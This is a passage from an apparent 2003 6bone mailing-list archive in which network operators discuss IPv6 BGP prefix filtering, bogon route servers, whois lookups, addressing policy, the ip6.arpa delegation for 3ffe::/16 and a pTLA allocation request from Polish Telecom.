Unfortunately, the URL only lists "those prefixes are allocated to 
IXPs" (from 2001:504::/32) and "those are for critical infrastructure"
(from 2001:500::/32), but without specifying for *what* parts of the
infrastructure...

Checking the allocations individually with "whois", I find:

  2001:500::/48  --> ISC
  2001:500:1::/48  --> US Army Research/H-ROOT-NET
  2001:500:2::/48  --> "Cogent Communications"
  2001:500:3::/48  --> ICANN/L-ROOT-NET

The docs on http://www.root-servers.org/ imply that 2001:500::/48 is also
used as root name server network (F), and most likely the network for
Cogent Communications will be used for (C).

> > ipv6 prefix-list ipv6-ebgp-strict permit 2001::/16 ge 35 le 35
> 
> I think this could be refined too. The range where /35s were originally
> allocated from is much smaller than 2001::/16.

Good point.  I will try to figure out what /35s are still out there 
and adapt the (strict) filter accordingly.

> > ipv6 prefix-list ipv6-ebgp-strict permit 2001::/16 ge 24 le 32
> 
> This could also be refined. Not all 2001::/16 has been delegated to
> RIRs. ARIN got a block, RIPE got a block, APNIC got a block, but there
> still is some undelegated space. The drawback of refining to that level
> is that it will inevitably induce a situation similar to 69/8 and will
> require maintenance, but the other side of that coin is that it would
> prevent people from hijacking prefixes from undelegated space.

Someone else already commented on this.  As the address space is pretty
sparsely populated, people still would be able to hijack addresses 
(like "2001:609::/32", which is adjacent to our /32, but right now just
unallocated).

So I'm not sure whether the drawbacks you mention are not really worth 
the gains.

(Also, the IPv6 address allocation strategy IANA -> RIRs is currently
so messy that quite frequent updates would be needed)

> As an example and please correct me if wrong in the address I picked
> because it's all from memory, if I hijack and announce 2001:FEED::/32
> that would pass your filter but this prefix can't be assigned to anybody
> now as it is not part of a larger block that has been delegated to a
> RIR, so it must be a hijack.

Yes, this is true.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From jeroen@unfix.org Mon May 19 04:26:08 2003
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To: "'Gert Doering'" <gert@space.net>,
   "'Michel Py'" <michel@arneill-py.sacramento.ca.us>
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Gert Doering wrote:

<SNIP>

> > This could also be refined. Not all 2001::/16 has been delegated to
> > RIRs. ARIN got a block, RIPE got a block, APNIC got a 
> block, but there
> > still is some undelegated space. The drawback of refining 
> to that level
> > is that it will inevitably induce a situation similar to 
> 69/8 and will
> > require maintenance, but the other side of that coin is 
> that it would
> > prevent people from hijacking prefixes from undelegated space.
> 
> Someone else already commented on this.  As the address space 
> is pretty
> sparsely populated, people still would be able to hijack addresses 
> (like "2001:609::/32", which is adjacent to our /32, but 
> right now just unallocated).

*whisper in ear* not after tonight when the bogon reporting gets active
:)

Things that it does cover already:
 - unallocated prefixes
 - wrong source ASN's

Though ofcourse one could bypass that when using the registered source
ASN.
That could be detected if we knew every 'upstream' for that prefix...

Greets,
 Jeroen


From gert@Space.Net Mon May 19 06:05:34 2003
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Hi,

On Mon, May 19, 2003 at 08:51:04AM -0400, ginny@arin.net wrote:
> > Unfortunately the ARIN database is too broken to permit queries like
> > "tell me everything inside 2001:500::/32" (the RIPE and APNIC databases
> > do this just fine).  So you'll have to check them manually - tedious - 
> > or check 
> 
> Currently ARIN WHOIS does not support CIDR queries. However, the 
> information you desire can be obtain. The best way to get this, would be 
> to query the following:

[ query for '2001:0500:*' ]

While "*" wildcards are somewhat counterintuitive in IP context, I'm glad 
to learn that there *is* a way to get the data.

Others have pointed out to me that by querying the RIPE database for
mirrored ARIN data

    whois -h whois.ripe.net -s arin -M -r 2001:500::/32

(with or without "-r") the data can be obtained as well.

[..]
> More information on how to use the ARIN WHOIS can be found in a tutorial 
> locate at:
>     http://www.arin.net/library/training/WHOIS_CBT/whois.htm

Thanks.

(ObNag: I still don't understand why ARIN just needs to do everything
differently.  Just using the RIPE output and query format would be so
much easier than inventing every wheel anew.  But then, I don't know all
of the political background struggles...)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From michel@arneill-py.sacramento.ca.us Mon May 19 08:26:00 2003
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Folks,

What is the word about an IPv6 bogon route server? The cymru one has
only IPv4 for the time being. Jeroen or Gert, are you planning on
something like this?

Michel.

> Jeroen Massar wrote:
> *whisper in ear* not after tonight when the bogon reporting
> gets active :)


From ginny@arin.net Mon May 19 05:52:07 2003
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From: ginny@arin.net
To: Gert Doering <gert@space.net>
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   <ipv6-wg@ripe.net>
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On Mon, 19 May 2003, Gert Doering wrote:

> 
> Unfortunately the ARIN database is too broken to permit queries like
> "tell me everything inside 2001:500::/32" (the RIPE and APNIC databases
> do this just fine).  So you'll have to check them manually - tedious - 
> or check 
> 

Currently ARIN WHOIS does not support CIDR queries. However, the 
information you desire can be obtain. The best way to get this, would be 
to query the following:

2001:0500*
2001:0504*

This would provide the information in list format. If you would like full 
details of all these allocations, query:

+2001:0500*
+2001:0504*

More information on how to use the ARIN WHOIS can be found in a tutorial 
locate at:
    http://www.arin.net/library/training/WHOIS_CBT/whois.htm


Ginny Listman
Director of Engineering
ARIN


From ple@graduate.kmitl.ac.th Mon May 19 09:45:51 2003
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Date: Mon, 19 May 2003 23:45:42 +0700
From: Warodom Werapun <ple@graduate.kmitl.ac.th>
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    Why I got error message "Cannot assign requested address"?
Tested on Linux Redhat 8.0, Kernel 2.4.20.

[root@MN sysconfig]# ifconfig eth1 | grep inet6
          inet6 addr: 3ffe:b80:1e99:2::2/64 Scope:Global
          inet6 addr: fe80::2e0:29ff:fe79:ff5/10 Scope:Link

[root@MN sysconfig]# ping6 -I eth1 fe80::2e0:29ff:fe79:ff5
ping: bind icmp socket: Cannot assign requested address
[root@MN sysconfig]# ping6 3ffe:b80:1e99:2::2
connect: Cannot assign requested address
[root@MN sysconfig]# ping6 -I eth1 3ffe:b80:1e99:2::2
connect: Cannot assign requested address

Thank you for reply
- Warodom  Werapun


From ck@ns1.arch.bellsouth.net Mon May 19 10:23:32 2003
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Michael,

Why not ask Rob Thomas do the same for IPv6?  

We don't need to reinvent the wheel and have multiple sources for
this stuff.

Thanks,
Christian


On Mon, May 19, 2003 at 08:26:11AM -0700, Michel Py wrote:
> Folks,
> 
> What is the word about an IPv6 bogon route server? The cymru one has
> only IPv4 for the time being. Jeroen or Gert, are you planning on
> something like this?
> 
> Michel.
> 
> > Jeroen Massar wrote:
> > *whisper in ear* not after tonight when the bogon reporting
> > gets active :)
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From michel@arneill-py.sacramento.ca.us Mon May 19 10:58:12 2003
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Christian,


> Christian Kuhtz wrote:
> Why not ask Rob Thomas do the same for IPv6?  

I did and I know he's working on it.


> We don't need to reinvent the wheel and have multiple
> sources for this stuff.

I'm not sure about that.

- I like redundancy.

- The IPv6 situation is quite different than the IPv4. In IPv4, the
bogon list is constructed by taking out what is not allocated. In IPv6,
this would not be enough as there are so many huge holes in allocated
space that hijacking applies both to allocated and unallocated.

- Therefore, things such as what Jeroen does which is a live analysis of
the actual routing table have value. One can argue that the name for
this would be a real-time blackholing table and not a bogon list, but
nevertheless a route-server for these would be welcomed.

Jeroen please correct me if I'm wrong but what you call a bogon is a
route that you have actually seen in the GRT and that has no business
there?

So, I don't see any re-inventing of the wheel here. It is clear that
Rob's IPv6 bogon list would include 4000::/4 and FE80::/10 among other
things, but a more dynamic blocking such as what Jeroen could do would
be welcomed too.

Michel.


From robt@cymru.com Mon May 19 12:04:57 2003
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Hi, team.

] Why not ask Rob Thomas do the same for IPv6?

I'd be up for that, sure.  We (Team Cymru) are actually working on an
IPv6 bogon list, which will be used to generate the configuration for
the IPv6 portion of the bogon route-servers.

In related news, we will soon have three more bogon route-servers
available.

Thanks,
Rob, for Team Cymru.
-- 
Rob Thomas
http://www.cymru.com
ASSERT(coffee != empty);



From gert@Space.Net Thu May 22 07:54:29 2003
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   6bone@ISI.EDU, ipv6-wg@ripe.net
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Hi,

On Fri, May 16, 2003 at 08:09:46AM -0700, Bill Manning wrote:
> % On Fri, May 16, 2003 at 06:20:24AM -0700, Bill Manning wrote:
> % > % So if that address space isn't visible, the prerequisites are not
> % > % fulfilled, obviously, and it would be in the boundaries of the policy
> % > % to take the address space back.
> % > 	Visable to whom?  
> % 
> % To the majority of the internet users (as you insist on claiming that
> % there is nothing as "the global routing table").
> 
> 	does that majority have to include you or I?

Of course not - if I disconnect my PC, I can't reach anyone.  But this
side discussion isn't helpful in any way.

> 	and show me the global routing table please?

This is kinda difficult, as everybody has a local view of it, of course.

> % The Internet is an *Inter*network.  It's about connecting all of it
> % together, not building small splinter networks that have no connectivity.
> 
> 	The Internet in one mesh of interconected networks that run 
> 	the IP protocol suite.  There are others.  Military networks,
> 	Closed commercial networks, Financial networks, Research networks,
> 	... its a long list.  

So what?

If those networks decide to use different rules for IP/IPv6 address
allocation and usage, why should we care?

If they decide to become part of "The Internet", then they are part of
the global routing table/system.

Sorry, but I don't get your point.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Thu May 22 08:25:27 2003
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From: Gert Doering <gert@space.net>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
Cc: Gert Doering <gert@space.net>, Kimmo Suominen <kim@tac.nyc.ny.us>,
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Hi,

On Fri, May 16, 2003 at 08:50:53AM -0700, Michel Py wrote:
> > Passing on the question from the registry point of view to the
> > IETF people (Michael & co): what are your recommendations how
> > this can be addressed (in the double sense)?
> 
> [disclaimer: I do not represent the views of the IETF]
> 
> This is a complex answer.

Thanks for the update.  (I won't comment on the issues, as I'm sure most 
things I could comment have been said already)

[..]
> There are several proposals to provide PI-like addresses that are moving
> forward though.

Now that's another interesting sentence :-) - "end users" would *love*
that (and it might turn out to be "the" incentive to go to IPv6).

Do you have a pointer for me where I can read up on those proposals?

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From bmanning@ISI.EDU Thu May 22 10:37:00 2003
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] RE: [ipv6-wg@ripe.net] Update on IPv6 filter  recommendation
In-Reply-To: <20030522165425.A67740@Space.Net> from Gert Doering at "May 22, 3 04:54:25 pm"
To: gert@space.net (Gert Doering)
Date: Thu, 22 May 2003 10:36:21 -0700 (PDT)
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% > 	and show me the global routing table please?
% 
% This is kinda difficult, as everybody has a local view of it, of course.

	er, not really.  my view is "global" in the sense that it represents
	my total scope of reachability. e.g. I can send a packet to anywhere
	in my table view.  Not in my view, not in the "global" system. 
	Anything outside that view is in private space as far as I can
	tell. Should I insist that if I can't see it, then folks should
	renumber into private space? 
% 
% > % The Internet is an *Inter*network.  It's about connecting all of it
% > % together, not building small splinter networks that have no connectivity.
% > 
% > 	The Internet in one mesh of interconected networks that run 
% > 	the IP protocol suite.  There are others.  Military networks,
% > 	Closed commercial networks, Financial networks, Research networks,
% > 	... its a long list.  
% 
% So what?
% 
% If those networks decide to use different rules for IP/IPv6 address
% allocation and usage, why should we care?
% 
% If they decide to become part of "The Internet", then they are part of
% the global routing table/system.

	Hum... where to begin.  First off,  it seems that you are making the
	assertion that entities will make the unconnected/connected transition
	-once- which emperical evidence suggests is not always true.  In the
	past decade, there is a significant body of evidence that networks
	and nodes are gaining mobility. part of that mobility is that 
	they "disconnect" from all or part of the net for periods of time,
	sometimes for milliseconds, sometimes for months/years.

	recognising this as a basic feature of internetworking, one would
	hope that a consistant suite of addressing guidelines would be
	applicable, regardless of the state of "connectedness".

	anyway, thats why I care.

% Sorry, but I don't get your point.

	you are not alone.  :)

% Gert Doering
%         -- NetMaster
% -- 
% Total number of prefixes smaller than registry allocations:  54495  (54267)
% 
% SpaceNet AG                 Mail: netmaster@Space.Net
% Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
% 80807 Muenchen              Fax : +49-89-32356-299
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From pekkas@netcore.fi Thu May 22 12:22:18 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Bill Manning <bmanning@ISI.EDU>
cc: Gert Doering <gert@space.net>, <hank@att.net.il>, <leo@ripe.net>,
   <6bone@ISI.EDU>, <ipv6-wg@ripe.net>
Subject: Re: [6bone] RE: [ipv6-wg@ripe.net] Update on IPv6 filter  recommendation
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On Thu, 22 May 2003, Bill Manning wrote:
> % So what?
> % 
> % If those networks decide to use different rules for IP/IPv6 address
> % allocation and usage, why should we care?
> % 
> % If they decide to become part of "The Internet", then they are part of
> % the global routing table/system.
> 
> 	Hum... where to begin.  First off,  it seems that you are making the
> 	assertion that entities will make the unconnected/connected transition
> 	-once- which emperical evidence suggests is not always true.  In the
> 	past decade, there is a significant body of evidence that networks
> 	and nodes are gaining mobility. part of that mobility is that 
> 	they "disconnect" from all or part of the net for periods of time,
> 	sometimes for milliseconds, sometimes for months/years.
> 
> 	recognising this as a basic feature of internetworking, one would
> 	hope that a consistant suite of addressing guidelines would be
> 	applicable, regardless of the state of "connectedness".

It's fine to request address space for private networks.

It's fine to connect such private networks to some other networks, even 
one sometimes referred to as the Internet, frequently or infrequently.

However, it is not fine to assume you could any form of addressing at all 
and expect it to be reachable.

If you connect to the Internet, you play by its rules, not by the rules of 
your private networks.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From bmanning@ISI.EDU Thu May 22 13:04:06 2003
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Subject: Re: [6bone] RE: [ipv6-wg@ripe.net] Update on IPv6 filter  recommendation
In-Reply-To: <Pine.LNX.4.44.0305222219560.29673-100000@netcore.fi> from Pekka Savola at "May 22, 3 10:22:07 pm"
To: pekkas@netcore.fi (Pekka Savola)
Date: Thu, 22 May 2003 13:03:40 -0700 (PDT)
Cc: bmanning@ISI.EDU, gert@space.net, hank@att.net.il, leo@ripe.net,
   6bone@ISI.EDU, ipv6-wg@ripe.net
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% > 	recognising this as a basic feature of internetworking, one would
% > 	hope that a consistant suite of addressing guidelines would be
% > 	applicable, regardless of the state of "connectedness".
% 
% It's fine to request address space for private networks.

	I will try once more.  All networks are inherently both public
	and private. And the addressing for such networks should follow
	a plan so that when when they are "connected" the prefixes
	can be routed w/o excessive pain. No network in my experience 
	is always connected, always public. And the ability to have
	a prefix routed is always dependant on the agreements betwen 
	peering parties, which agreements are bilateral.

% If you connect to the Internet, you play by its rules, not by the rules of 
% your private networks.

	if you connect to (ISP), you play by their rules.
	when I connect to an ISP, I play by their rules.
	when ISPs connect to me, they play by my rules.
	I don't connect to "the Internet", I connect to 
	other entities using IP protocols.  Sometimes the
	agreements entered into allow each of us to transit
	information about the connection (prefixes etc.) to 
	our other clients or peers, with hints about how such 
	information is expected to be shared with others.

% -- 
% Pekka Savola                 "You each name yourselves king, yet the
% Netcore Oy                    kingdom bleeds."
% Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From hank@att.net.il Thu May 22 22:32:59 2003
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Subject: [6bone] 6bone.net down?
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  http://www.6bone.net keeps giving http 500 error.  Anyone?

-Hank


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Subject: Re: [6bone] 6bone.net down?
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At 08:29 AM 5/23/2003 +0200, Hank Nussbacher wrote:
>  http://www.6bone.net keeps giving http 500 error.  Anyone?

It's down for me too. I'll see if I can find out what's going on.


Thanks,

Bob 


From pim@ipng.nl Fri May 23 00:50:58 2003
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From: Pim van Pelt <pim@ipng.nl>
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| 	recognising this as a basic feature of internetworking, one would
| 	hope that a consistant suite of addressing guidelines would be
| 	applicable, regardless of the state of "connectedness".
This is an important point in my opinion. IPv{46} addresses are a global
resource that should be distributed as such. IPv4 adresses are allocated
to private networks all the time. Having a connection to the rest is of
no concern (and is nowhere stated in any policy to be of any concern).

IPv6 addresses will be used for much more than 'just the Internet'. It
can be argued that the 2001::/16 prefix SHOULD be used for 'just the
Internet', but then still I do not see the point in forcing any kind of
connection to one or all other Internet citizens.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From gustavo.paredes@internet-solutions.com.co Tue May 27 08:02:27 2003
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Hi, every buddy, i am new about ipv6, i use OpenBSD 3.1, and have
conectivity with the 6bone, the problem is that like appears after some
minuts the connection with the ipv6 is broken, when i try a ping...

bash-2.05a# ping6 6bone.net
PING6(56=40+8+8 bytes) 3ffe:400a:ffff::1e --> 3ffe:b00:c18:1::10
16 bytes from 3ffe:b00:c18:1::10, icmp_seq=0 hlim=60 time=573.555 ms
16 bytes from 3ffe:b00:c18:1::10, icmp_seq=1 hlim=60 time=585.248 ms
16 bytes from 3ffe:b00:c18:1::10, icmp_seq=2 hlim=60 time=582.98 ms

 but some minuts later....

bash-2.05a# ping6 6bone.net
PING6(56=40+8+8 bytes) 3ffe:400a:ffff::1e --> 3ffe:b00:c18:1::10

and only work when i reboot the machine, thanks for all the help that us can
give me , and excuseme for my poor english



Gustavo



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--AhhlLboLdkugWU4S
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FYI.


--AhhlLboLdkugWU4S
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The IESG has approved the Internet-Draft 'Delegation of 
E.F.F.3.IP6.ARPA' <draft-ymbk-6bone-arpa-delegation-01.txt> as a BCP.

This has been reviewed in the IETF but is not the product of an IETF 
Working Group. The IESG contact persons are Thomas Narten and Erik
Nordmark.
   
   
Technical Summary
   
The 6bone, whose address space was allocated by RFC 2471, has
provided a network for IPv6 experimentation for numerous purposes
for seven years. Up to the present time, reverse lookups for 6bone
addresses in the DNS have been accomplished through IP6.INT. It is
now important that the thousands of 6bone users be able to update
their IPv6 software to use IP6.ARPA as defined in RFC 3152.

Although the 6bone has a limited life, and a phaseout plan is being
discussed at the IETF at this time, there is likely to be 2.5 to
3.5 more years of operation. During this remaining 6bone lifetime
IP6.ARPA reverse lookup services for the 3ffe::/16 address space
are required. This document requests that the IANA delegate the
E.F.F.3.IP6.ARPA domain to the 6bone as will be described in
instructions to be provided by the IAB.
   
Working Group Summary
   
This was not a WG document, but has been discussed on various
mailing lists (e.g., 6bone, v6ops, dnsops). No issues were raised
during the IETF Last Call.
   
Protocol Quality
   
This document has been reviewed for the IESG by Thomas Narten.



--AhhlLboLdkugWU4S--

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6bone Folk,

As you can see from the IESG announcement just circulated to the list, the 
draft delegating the reverse path for E.F.F.3.IP6.ARPA to the 6bone has 
been approved as a BCP.

Now we (Randy Bush, myself and the folks that will set up the reverse path 
servers) are working to implement the decision approved in the BCP.

So, please stay tuned for announcement of plans, but appreciate it may be a 
bit of delay to get details worked out.


I would like to thank Randy for all his help in this effort... it has been 
invaluable!


Thanks,

Bob

===
>The IESG has approved the Internet-Draft 'Delegation of
>E.F.F.3.IP6.ARPA' <draft-ymbk-6bone-arpa-delegation-01.txt> as a BCP.
>
>This has been reviewed in the IETF but is not the product of an IETF
>Working Group. The IESG contact persons are Thomas Narten and Erik
>Nordmark.
>
>
>Technical Summary
>
>The 6bone, whose address space was allocated by RFC 2471, has
>provided a network for IPv6 experimentation for numerous purposes
>for seven years. Up to the present time, reverse lookups for 6bone
>addresses in the DNS have been accomplished through IP6.INT. It is
>now important that the thousands of 6bone users be able to update
>their IPv6 software to use IP6.ARPA as defined in RFC 3152.
>
>Although the 6bone has a limited life, and a phaseout plan is being
>discussed at the IETF at this time, there is likely to be 2.5 to
>3.5 more years of operation. During this remaining 6bone lifetime
>IP6.ARPA reverse lookup services for the 3ffe::/16 address space
>are required. This document requests that the IANA delegate the
>E.F.F.3.IP6.ARPA domain to the 6bone as will be described in
>instructions to be provided by the IAB.
>
>Working Group Summary
>
>This was not a WG document, but has been discussed on various
>mailing lists (e.g., 6bone, v6ops, dnsops). No issues were raised
>during the IETF Last Call.
>
>Protocol Quality
>
>This document has been reviewed for the IESG by Thomas Narten.

-end 


From jeroen@unfix.org Sat May 31 02:13:16 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Bob Fink'" <bob@thefinks.com>, "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] Fwd: Protocol Action: Delegation of  E.F.F.3.IP6.ARPA to BCP
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Bob Fink wrote:

> 6bone Folk,
> 
> As you can see from the IESG announcement just circulated to 
> the list, the 
> draft delegating the reverse path for E.F.F.3.IP6.ARPA to the 
> 6bone has been approved as a BCP.
> 
> Now we (Randy Bush, myself and the folks that will set up the 
> reverse path servers) are working to implement the decision approved
in the BCP.
> 
> So, please stay tuned for announcement of plans, but 
> appreciate it may be a bit of delay to get details worked out.

Could you include in the details what happens to ip6.int delegations?
I know a number of 'current' platforms that solely use ip6.int and
I'd rather see these platforms fail miserably when reversing and
thus semi forcing them to update their code to finally use ip6.arpa.

glibc (Linux) nicely first tries ip6.arpa and after that tries ip6.int.

I hope this all gets sorted out quickly, an approval by the IESG
is a big step in the right direction fortunatly.

Greets,
 Jeroen


From pim@ipng.nl Sat May 31 05:36:27 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Bob Fink <bob@thefinks.com>
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Subject: Re: [6bone] Fwd: Protocol Action: Delegation of E.F.F.3.IP6.ARPA to BCP
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Hoi,

| Now we (Randy Bush, myself and the folks that will set up the reverse path 
| servers) are working to implement the decision approved in the BCP.
I would actually think that the abbreviation for BCP insinuates that
there is actually already something designed or even in place to solve
the delegation quickly. Nevertheless, well done and good luck in the
implementation.

| So, please stay tuned for announcement of plans, but appreciate it may be a 
| bit of delay to get details worked out.
Please hurry up! If there is anything I or the community can do to speed
up the deployment of the 6bone .arpa space, please don't hesitate to
ask. 

And as for Jeroen's comments -- I agree that the .int version of the
tree should not be queried as soon as the pTLA holders have their
.arpa tree active. Seeing as the 6BONE is the only place lagging behind
in this area, can we try to be strict on when entities convert their
zonefiles to the .arpa tree ? We need this to really make things
work[tm].

Can we also make sure to circulate to the software engineers that the
ip6.int tree will not be needed as soon as (some fixed percentage of) 
the pTLA holders have their DNS updated ?

Can we try to kick non-responsive pTLA holders ? They'd be in violation
of the RFC2772, after all. How long is a lenient, but not too long,
grace period for pTLA holders to procede ? 6 months seems reasonable to
me.

I'd be willing to help out with the paperwork, if that's required.

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From bob@thefinks.com Sat May 31 08:09:57 2003
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Subject: [6bone] pTLA request by CBR-TPSA - review closes 11 June 2003
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6bone Folk,

CBR-TPSA has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 11 June 
2003 (earlier than usual... see below). Please send your comments to me or 
the list.

   <www.ipv6.cbr.tpsa.pl>


I am doing a shorter time period on this pTLA request as I will be leaving 
on a 2 week vacation on the 12th of June and won't be in email contact 
until 1 July. Also, I won't process any more pTLA requests (there aren't 
many :-) until after I return from vacation.


Thanks,

Bob

===
At 04:19 PM 5/29/2003 +0200, Grzegorz.Banasiak@ipv6.cbr.tpsa.pl wrote:
>Hello.
>
>I would like to request for pTLA 6Bone address pool. Below you may find points
>from RFC 2772 addressed by us.
>
>=== begin ===
>
>7. Guidelines for 6Bone pTLA sites
>
>     The following rules apply to qualify for a 6Bone pTLA allocation. It
>     should be recognized that holders of 6Bone pTLA allocations are
>     expected to provide production quality backbone network services for
>     the 6Bone.
>
>     1. The pTLA Applicant must have a minimum of three (3) months
>        qualifying experience as a 6Bone end-site or pNLA transit.   During
>        the entire qualifying period the Applicant must be operationally
>        providing the following:
>
>***
>We have been connected to the 6bone network since FEB 2003 as a leaf site.
>***
>
>        a. Fully maintained, up to date, 6Bone Registry entries for their
>           ipv6-site inet6num, mntner, and person objects, including each
>           tunnel that the Applicant has.
>
>***
>ipv6-site:    CBR-TPSA
>origin:       AS5617
>descr:        Polish Telecom Research and Development Department
>               ul. Obrzezna 7
>               02-691 Warszawa
>               Poland
>country:      PL
>prefix:       3FFE:8320:16::/48
>application:  ping gw.ipv6.cbr.tpsa.pl
>tunnel:       IPv6 in IPv4 gw.ipv6.cbr.tpsa.pl -> ipv6-gw.man.poznan.pl
>POZMAN BGP4+
>contact:      GB3-6BONE
>contact:      AS24-6BONE
>url:          http://www.ipv6.cbr.tpsa.pl
>notify:       netadmin@ipv6.cbr.tpsa.pl
>mnt-by:       CBR-TPSA-MNT
>changed:      Grzegorz.Banasiak@telekomunikacja.pl 20030203
>changed:      Grzegorz.Banasiak@telekomunikacja.pl 20030513
>changed:      Grzegorz.Banasiak@telekomunikacja.pl 20030526
>source:       6BONE
>***
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>           between the Applicant's boundary router and the appropriate
>           connection point into the 6Bone. This router must be IPv6
>           pingable. This criteria is judged by members of the 6Bone
>           Operations Group at the time of the Applicant's pTLA request.
>
>***
>pimpek7500#sh ipv6 int
>Tunnel0 is up, line protocol is up
>   IPv6 is enabled, link-local address is FE80::D960:46C6
>   Global unicast address(es):
>     3FFE:8320:1::89, subnet is 3FFE:8320:1::88/127
>[..]
>pimpek7500#sh bgp ipv6 sum
>BGP router identifier 217.96.70.198, local AS number 5617
>BGP table version is 59022, main routing table version 59022
>307 network entries and 307 paths using 60479 bytes of memory
>268 BGP path attribute entries using 16080 bytes of memory
>262 BGP AS-PATH entries using 6660 bytes of memory
>1 BGP community entries using 24 bytes of memory
>0 BGP route-map cache entries using 0 bytes of memory
>0 BGP filter-list cache entries using 0 bytes of memory
>BGP activity 18969/24163 prefixes, 22691/22384 paths, scan interval 60 secs
>
>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down 
>State/PfxRcd
>3FFE:8320:1::88 4  9112  132605   65806    59022    0    0 13:24:25 306
>***
>
>        c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>           entries for the Applicant's router(s) and at least one host
>           system.
>
>***
>Primary NS for domain ipv6.cbr.tpsa.pl has been configured on 217.96.70.197
>(dns.ipv6.cbr.tpsa.pl):
>
>@ IN SOA                dns.ipv6.cbr.tpsa.pl.   root.dns.ipv6.cbr.tpsa.pl. (
>[..]
>                         IN AAAA         3ffe:8320:16::
>dns                     IN AAAA         3ffe:8320:16:dead::2
>www                     IN AAAA         3ffe:8320:16:dead::2
>inferno                 IN AAAA         3ffe:8320:16:abba::2
>gw                      IN AAAA         3ffe:8320:16::
>gw                      IN AAAA         3ffe:8320:16::1
>gw                      IN AAAA         3ffe:8320:16:dead::1
>
>Primary NS for reverse domain 6.1.0.0.0.2.3.8.e.f.f.3.ip6.int has also been
>configured on dns.ipv6.cbr.tpsa.pl:
>
>1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.d.a.e.d IN PTR gw.ipv6.cbr.tpsa.pl.
>2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.d.a.e.d IN PTR dns.ipv6.cbr.tpsa.pl.
>2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.a.b.b.a IN PTR inferno.ipv6.cbr.tpsa.pl.
>***
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>           providing, at a mimimum, one or more web pages, describing the
>           Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>***
>www.ipv6.cbr.tpsa.pl (both IPv4 and IPv6)
>***
>
>     2. The pTLA Applicant MUST have the ability and intent to provide
>        "production-quality" 6Bone backbone service. Applicants must
>        provide a statement and information in support of this claim.
>        This MUST include the following:
>
>        a. A support staff of two persons minimum, three preferable, with
>           person attributes registered for each in the ipv6-site object
>           for the pTLA applicant.
>
>***
>2 members of IPv6 project staff:
>- Grzegorz Banasiak, GB3-6BONE, Grzegorz.Banasiak@ipv6.cbr.tpsa.pl
>- Adam Szymajda, AS24-6BONE, Adam.Szymajda@ipv6.cbr.tpsa.pl
>***
>
>        b. A common mailbox for support contact purposes that all support
>           staff have acess to, pointed to with a notify attribute in the
>           ipv6-site object for the pTLA Applicant.
>
>***
>notify:       netadmin@ipv6.cbr.tpsa.pl
>***
>
>     3. The pTLA Applicant MUST have a potential "user community" that
>        would be served by its becoming a pTLA, e.g., the Applicant is a
>        major provider of Internet service in a region, country, or focus
>        of interest. Applicant must provide a statement and information in
>        support this claim.
>
>***
>Adequate statement has been put on our webpage:
>
>[..]
>Polish Telecom (polish acronym TP - Telekomunikacja Polska) is the national
>operator carrying the majority of both voice and data traffic in Poland.
>PSTN network serves the needs of over 10 mln subscribers (of 40 mln of the
>overall population) and TP group member PTK Centertel - over 4 mln of
>mobile users. TP data network (POLPAK) includes a modern IP backbone
>consisting of MPLS-capable routers located at all major cities and
>connected with 2.5Gbps optical links.
>[..]
>
>We are the leading ISP in Poland with a considerable "user community". At
>some point in the future we will definately introduce IPv6 protocol for our
>wired or wireless customers.
>***
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>        operational rules and policies as they exist at time of its
>        application, and agree to abide by future 6Bone backbone
>        operational rules and policies as they evolve by consensus of the
>        6Bone backbone and user community.
>
>***
>We agree to abide with the current and the future 6Bone operational rules
>and policies.
>***
>
>    When an Applicant seeks to receive a pTLA allocation, it will apply
>     to the 6Bone Operations Group (see section 8 below) by providing to
>     the Group information in support of its claims that it meets the
>     criteria above.
>
>8. 6Bone Operations Group
>
>     The 6Bone Operations Group is the group in charge of monitoring and
